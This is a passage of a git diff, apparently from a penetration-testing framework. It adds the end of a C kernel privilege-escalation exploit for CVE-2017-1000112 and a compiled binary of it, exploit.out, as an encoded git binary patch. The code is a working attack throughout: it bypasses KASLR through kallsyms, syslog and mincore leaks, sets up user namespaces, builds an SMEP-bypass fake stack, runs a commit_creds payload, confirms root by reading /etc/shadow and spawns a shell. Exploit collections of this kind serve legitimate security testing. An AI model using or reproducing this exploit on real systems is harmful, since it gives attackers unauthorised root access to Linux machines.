0x20000000000)) + dprintf("[-] munmap()\n"); + return addr; + } + } + } + + if (munmap((void*)0x66000000, 0x20000000000)) + dprintf("[-] munmap()\n"); + + dprintf("[-] kernel base not found in mincore info leak\n"); + return 0; +} + +// * * * * * * * * * * * * * * KASLR bypasses * * * * * * * * * * * * * * * * + +unsigned long get_kernel_addr() { + unsigned long addr = 0; + + addr = get_kernel_addr_kallsyms(); + if (addr) return addr; + + addr = get_kernel_addr_sysmap(); + if (addr) return addr; + + addr = get_kernel_addr_syslog(); + if (addr) return addr; + + addr = get_kernel_addr_mincore(); + if (addr) return addr; + + dprintf("[-] KASLR bypass failed\n"); + exit(EXIT_FAILURE); + + return 0; +} + +// * * * * * * * * * * * * * * * * * Main * * * * * * * * * * * * * * * * * * + +static bool write_file(const char* file, const char* what, ...) { + char buf[1024]; + va_list args; + va_start(args, what); + vsnprintf(buf, sizeof(buf), what, args); + va_end(args); + buf[sizeof(buf) - 1] = 0; + int len = strlen(buf); + + int fd = open(file, O_WRONLY | O_CLOEXEC); + if (fd == -1) + return false; + if (write(fd, buf, len) != len) { + close(fd); + return false; + } + close(fd); + return true; +} + +void setup_sandbox() { + int real_uid = getuid(); + int real_gid = getgid(); + + if (unshare(CLONE_NEWUSER) != 0) { + dprintf("[!] unprivileged user namespaces are not available\n"); + dprintf("[-] unshare(CLONE_NEWUSER)\n"); + exit(EXIT_FAILURE); + } + if (unshare(CLONE_NEWNET) != 0) { + dprintf("[-] unshare(CLONE_NEWUSER)\n"); + exit(EXIT_FAILURE); + } + + if (!write_file("/proc/self/setgroups", "deny")) { + dprintf("[-] write_file(/proc/self/set_groups)\n"); + exit(EXIT_FAILURE); + } + if (!write_file("/proc/self/uid_map", "0 %d 1\n", real_uid)) { + dprintf("[-] write_file(/proc/self/uid_map)\n"); + exit(EXIT_FAILURE); + } + if (!write_file("/proc/self/gid_map", "0 %d 1\n", real_gid)) { + dprintf("[-] write_file(/proc/self/gid_map)\n"); + exit(EXIT_FAILURE); + } + + cpu_set_t my_set; + CPU_ZERO(&my_set); + CPU_SET(0, &my_set); + if (sched_setaffinity(0, sizeof(my_set), &my_set) != 0) { + dprintf("[-] sched_setaffinity()\n"); + exit(EXIT_FAILURE); + } + + if (system("/sbin/ifconfig lo mtu 1500") != 0) { + dprintf("[-] system(/sbin/ifconfig lo mtu 1500)\n"); + exit(EXIT_FAILURE); + } + if (system("/sbin/ifconfig lo up") != 0) { + dprintf("[-] system(/sbin/ifconfig lo up)\n"); + exit(EXIT_FAILURE); + } +} + +void exec_shell() { + int fd; + + fd = open("/proc/1/ns/net", O_RDONLY); + if (fd == -1) { + dprintf("error opening /proc/1/ns/net\n"); + exit(EXIT_FAILURE); + } + + if (setns(fd, CLONE_NEWNET) == -1) { + dprintf("error calling setns\n"); + exit(EXIT_FAILURE); + } + + system(SHELL); +} + +bool is_root() { + // We can't simple check uid, since we're running inside a namespace + // with uid set to 0. Try opening /etc/shadow instead. + int fd = open("/etc/shadow", O_RDONLY); + if (fd == -1) + return false; + close(fd); + return true; +} + +void check_root() { + dprintf("[.] checking if we got root\n"); + if (!is_root()) { + dprintf("[-] something went wrong =(\n"); + return; + } + dprintf("[+] got r00t ^_^\n"); + exec_shell(); +} + +int main(int argc, char** argv) { + if (argc > 1) SHELL = argv[1]; + + dprintf("[.] starting\n"); + + dprintf("[.] checking kernel version\n"); + detect_kernel(); + dprintf("[~] done, version looks good\n"); + + dprintf("[.] checking SMEP and SMAP\n"); + check_smep_smap(); + dprintf("[~] done, looks good\n"); + + dprintf("[.] setting up namespace sandbox\n"); + setup_sandbox(); + dprintf("[~] done, namespace sandbox set up\n"); + +#if ENABLE_KASLR_BYPASS + dprintf("[.] KASLR bypass enabled, getting kernel addr\n"); + KERNEL_BASE = get_kernel_addr(); + dprintf("[~] done, kernel addr: %lx\n", KERNEL_BASE); +#endif + + dprintf("[.] commit_creds: %lx\n", COMMIT_CREDS); + dprintf("[.] prepare_kernel_cred: %lx\n", PREPARE_KERNEL_CRED); + + unsigned long payload = (unsigned long)&get_root; + +#if ENABLE_SMEP_BYPASS + dprintf("[.] SMEP bypass enabled, mmapping fake stack\n"); + mmap_stack(); + payload = XCHG_EAX_ESP_RET; + dprintf("[~] done, fake stack mmapped\n"); +#endif + + dprintf("[.] executing payload %lx\n", payload); + oob_execute(payload); + dprintf("[~] done, should be root now\n"); + + check_root(); + + return 0; +} diff --git a/data/exploits/cve-2017-1000112/exploit.out b/data/exploits/cve-2017-1000112/exploit.out new file mode 100644 index 0000000000000000000000000000000000000000..cd52114325fa97880b50418bd030ba3cb1bf8136 GIT binary patch literal 79128 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�(BgpY! z0E{wrP1kBRsVz<1n33Y&bqvSm5N7uF87qnYrkTua3_qTqVuayrCFgT~JY(Xq<;%`KuqHcBhI$NrFakNCq65x8nHM4|_GQoXa}72$ 